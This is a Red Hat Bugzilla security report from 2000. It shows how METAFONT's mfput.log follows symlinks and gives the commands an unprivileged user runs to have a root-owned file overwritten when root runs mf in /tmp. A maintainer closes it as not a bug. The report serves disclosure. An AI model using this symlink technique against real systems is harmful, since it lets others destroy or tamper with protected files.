Bug 9954 - mf logfile, mfput.log, will follow symlinks
mf logfile, mfput.log, will follow symlinks
Status: CLOSED NOTABUG
Product: Red Hat Linux
Classification: Retired
Component: tetex (Show other bugs)
6.1
i386 Linux
medium Severity medium
: ---
: ---
Assigned To: Tim Waugh
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2000-03-04 01:50 EST by dpr
Modified: 2008-05-01 11:37 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2000-03-04 10:24:54 EST
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description dpr 2000-03-04 01:50:10 EST
I typoed a mv tonight with mf (a command I've never used before), and when
I exited mf (with a cntl-c), I noticed a file called mfput.log in my
current directory.  Curious, I created /etc/privfile as root, then created
a symling in /tmp.  When I went into /tmp as root, and typed 'mf blah
blah', then exited, /etc/privfile had been overwritten.  This could
probably be used to overwrite any arbitrary file.

[root@operative /tmp]# cat /etc/redhat-release
Red Hat Linux
[root@operative /tmp]# rpm -qf /usr/bin/mf
tetex-1.0.6-7 release 6.1 (Cartman)

[root@operative /]# touch /etc/privfile
[root@operative /]# cat /etc/privfile
[root@operative /]#

[dpr@operative /tmp]$ ln -s /etc/privfile mfput.log
[dpr@operative /tmp]$ ls -al /tmp/mfput.log
lrwxrwxrwx   1 dpr     dpr           13 Mar  4 01:45 /tmp/mfput.log ->
/etc/privfile

[root@operative /]# cd /tmp
[root@operative /tmp]# mf blah blah
This is METAFONT, Version 2.7182 (Web2C 7.3.1)
kpathsea: Running mktexmf  blah
! I can't find file `blah'.
<*> blah
         blah
Please type another input file name: 		{I hit cntrl-c, here}
! Emergency stop.
<*> blah
         blah
Transcript written on mfput.log.
[root@operative /tmp]#

[root@operative /tmp]# cat /etc/privfile
This is METAFONT, Version 2.7182 (Web2C 7.3.1) (base=mf 1999.9.25)  4 MAR
2000 01:47
**blah blah

! Emergency stop.
<*> blah
         blah
End of file on the terminal!
Comment 1 Jeff Johnson 2000-03-04 10:24:59 EST
This is not a bug in tetex, as there are a whole class of programs that
will exhibit the behavior you describe.

Note You need to log in before you can comment on or make changes to this bug.